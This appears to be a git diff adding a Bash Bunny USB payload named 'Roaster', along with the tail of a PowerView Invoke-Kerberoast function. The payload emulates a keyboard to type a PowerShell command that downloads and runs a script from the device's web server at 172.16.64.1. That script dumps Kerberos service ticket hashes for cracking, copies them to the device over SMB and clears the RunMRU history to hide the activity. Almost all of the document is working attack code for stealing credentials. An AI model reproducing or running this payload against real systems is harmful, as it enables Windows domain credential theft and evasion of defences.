||||||
|
$SearchBase,
|
||||||
|
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$Server,
|
||||||
|
|
||||||
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
||||||
|
[String]
|
||||||
|
$SearchScope = 'Subtree',
|
||||||
|
|
||||||
|
[ValidateRange(1,10000)]
|
||||||
|
[Int]
|
||||||
|
$ResultPageSize = 200,
|
||||||
|
|
||||||
|
[Management.Automation.PSCredential]
|
||||||
|
[Management.Automation.CredentialAttribute()]
|
||||||
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
||||||
|
|
||||||
|
[ValidateSet('John', 'Hashcat')]
|
||||||
|
[Alias('Format')]
|
||||||
|
[String]
|
||||||
|
$OutputFormat = 'John'
|
||||||
|
)
|
||||||
|
|
||||||
|
BEGIN {
|
||||||
|
$SearcherArguments = @{}
|
||||||
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
||||||
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
||||||
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
||||||
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
||||||
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
||||||
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
||||||
|
$UserSearcher = Get-DomainSearcher @SearcherArguments
|
||||||
|
|
||||||
|
$GetSPNTicketArguments = @{}
|
||||||
|
if ($PSBoundParameters['OutputFormat']) { $GetSPNTicketArguments['OutputFormat'] = $OutputFormat }
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
PROCESS {
|
||||||
|
if ($UserSearcher) {
|
||||||
|
$IdentityFilter = ''
|
||||||
|
$Filter = ''
|
||||||
|
$Identity | Where-Object {$_} | ForEach-Object {
|
||||||
|
$IdentityInstance = $_
|
||||||
|
if ($IdentityInstance -match '^S-1-.*') {
|
||||||
|
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||||
|
}
|
||||||
|
elseif ($IdentityInstance -match '^CN=.*') {
|
||||||
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
try {
|
||||||
|
$Null = [System.Guid]::Parse($IdentityInstance)
|
||||||
|
$IdentityFilter += "(objectguid=$IdentityInstance)"
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
$IdentityFilter += "(samAccountName=$IdentityInstance)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
||||||
|
$Filter += "(|$IdentityFilter)"
|
||||||
|
}
|
||||||
|
$Filter += '(servicePrincipalName=*)'
|
||||||
|
|
||||||
|
if ($PSBoundParameters['AdminCount']) {
|
||||||
|
Write-Verbose 'Searching for adminCount=1'
|
||||||
|
$Filter += '(admincount=1)'
|
||||||
|
}
|
||||||
|
if ($PSBoundParameters['LDAPFilter']) {
|
||||||
|
Write-Verbose "Using additional LDAP filter: $LDAPFilter"
|
||||||
|
$Filter += "$LDAPFilter"
|
||||||
|
}
|
||||||
|
|
||||||
|
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
|
||||||
|
Write-Verbose "Invoke-Kerberoast search filter string: $($UserSearcher.filter)"
|
||||||
|
|
||||||
|
$Results = $UserSearcher.FindAll()
|
||||||
|
$Results | Where-Object {$_} | ForEach-Object {
|
||||||
|
$User = Convert-LDAPProperty -Properties $_.Properties
|
||||||
|
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
|
||||||
|
$User
|
||||||
|
} | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments
|
||||||
|
|
||||||
|
$Results.dispose()
|
||||||
|
$UserSearcher.dispose()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
60
payloads/library/credentials/Roaster/payload.txt
Normal file
60
payloads/library/credentials/Roaster/payload.txt
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# Title: Roaster
|
||||||
|
# Author: golem445
|
||||||
|
# Version: 1.0
|
||||||
|
# Dependencies: impacket, gohttp
|
||||||
|
# Runtime: ~10 seconds
|
||||||
|
#
|
||||||
|
# Sets up Ethernet and HID keyboard interfaces simultaneously,
|
||||||
|
# then uses HID to import Invoke-Kerberoast into memory via
|
||||||
|
# Bash Bunny web server and execute the attack. Results are
|
||||||
|
# exported to the loot directory via SMB.
|
||||||
|
#
|
||||||
|
|
||||||
|
### Prep for attack ###
|
||||||
|
LED SETUP
|
||||||
|
REQUIRETOOL impacket gohttp
|
||||||
|
GET SWITCH_POSITION
|
||||||
|
|
||||||
|
# Temporary loot directory
|
||||||
|
mkdir -p /loot/smb/
|
||||||
|
|
||||||
|
# Permanent loot directory
|
||||||
|
mkdir -p /root/udisk/loot/roaster_exfil/
|
||||||
|
|
||||||
|
# Set interfaces
|
||||||
|
ATTACKMODE RNDIS_ETHERNET HID
|
||||||
|
|
||||||
|
# Start web server
|
||||||
|
cd /root/udisk/payloads/$SWITCH_POSITION
|
||||||
|
gohttp -p 80 &
|
||||||
|
|
||||||
|
# Start SMB Server
|
||||||
|
python /tools/impacket/examples/smbserver.py s /loot/smb &
|
||||||
|
|
||||||
|
### Start attack ###
|
||||||
|
LED ATTACK
|
||||||
|
RUN WIN powershell "IEX (New-object Net.Webclient).DownloadString('http://172.16.64.1/s.ps1')"
|
||||||
|
|
||||||
|
# Wait until files are done copying.
|
||||||
|
LED STAGE2
|
||||||
|
while ! [ -f /loot/smb/EXFILTRATION_COMPLETE ]; do sleep 1; done
|
||||||
|
|
||||||
|
### Cleanup ###
|
||||||
|
LED CLEANUP
|
||||||
|
|
||||||
|
# Delete Exfil file
|
||||||
|
rm /loot/smb/EXFILTRATION_COMPLETE
|
||||||
|
|
||||||
|
# Move Kerberos SPNS to permanent loot directory
|
||||||
|
mv /loot/smb/* /root/udisk/loot/roaster_exfil/
|
||||||
|
|
||||||
|
# Clean up temporary loot directory
|
||||||
|
rm -rf /loot/smb/*
|
||||||
|
|
||||||
|
# Sync file system
|
||||||
|
sync
|
||||||
|
|
||||||
|
# Complete
|
||||||
|
LED FINISH
|
||||||
34
payloads/library/credentials/Roaster/readme.md
Normal file
34
payloads/library/credentials/Roaster/readme.md
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
# Roaster
|
||||||
|
* Author: golem445
|
||||||
|
* Version: 1.0
|
||||||
|
* Target: Windows Domains
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Sets up Ethernet and HID keyboard interfaces simultaneously,
|
||||||
|
then uses HID to import Invoke-Kerberoast into memory via
|
||||||
|
Bash Bunny web server and execute the attack. Results are
|
||||||
|
exported to the loot directory via SMB.
|
||||||
|
|
||||||
|
Note: This module will bypass network restrictions on USB
|
||||||
|
disk drives as only a network card and keyboard are emulated.
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
Impacket and gohttp should be installed
|
||||||
|
|
||||||
|
## STATUS
|
||||||
|
|
||||||
|
|
||||||
|
| Status | Description |
|
||||||
|
| ------------------- | ---------------------------------------- |
|
||||||
|
| Flashing Red | Impacket or gohttp not found |
|
||||||
|
| Solid Violet | Setup for attack |
|
||||||
|
| Flashing Amber | Attack in progress |
|
||||||
|
| Flashing Cyan | Cleaning up |
|
||||||
|
| Solid Green | Attack complete |
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
|
||||||
|
* Tim Medin for Kerberoast
|
||||||
|
* Hak5Darren for SMB exfil
|
||||||
5
payloads/library/credentials/Roaster/s.ps1
Normal file
5
payloads/library/credentials/Roaster/s.ps1
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
IEX (New-Object Net.Webclient).DownloadString('http://172.16.64.1/Invoke-Kerberoast.ps1')
|
||||||
|
Invoke-Kerberoast -Outputformat Hashcat | fl > \\172.16.64.1\s\output.txt
|
||||||
|
New-Item -Path \\172.16.64.1\s -ItemType "file" -Name "EXFILTRATION_COMPLETE" -Value "EXFILTRATION_COMPLETE"
|
||||||
|
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
|
||||||
|
exit
|
||||||
Reference in New Issue
Block a user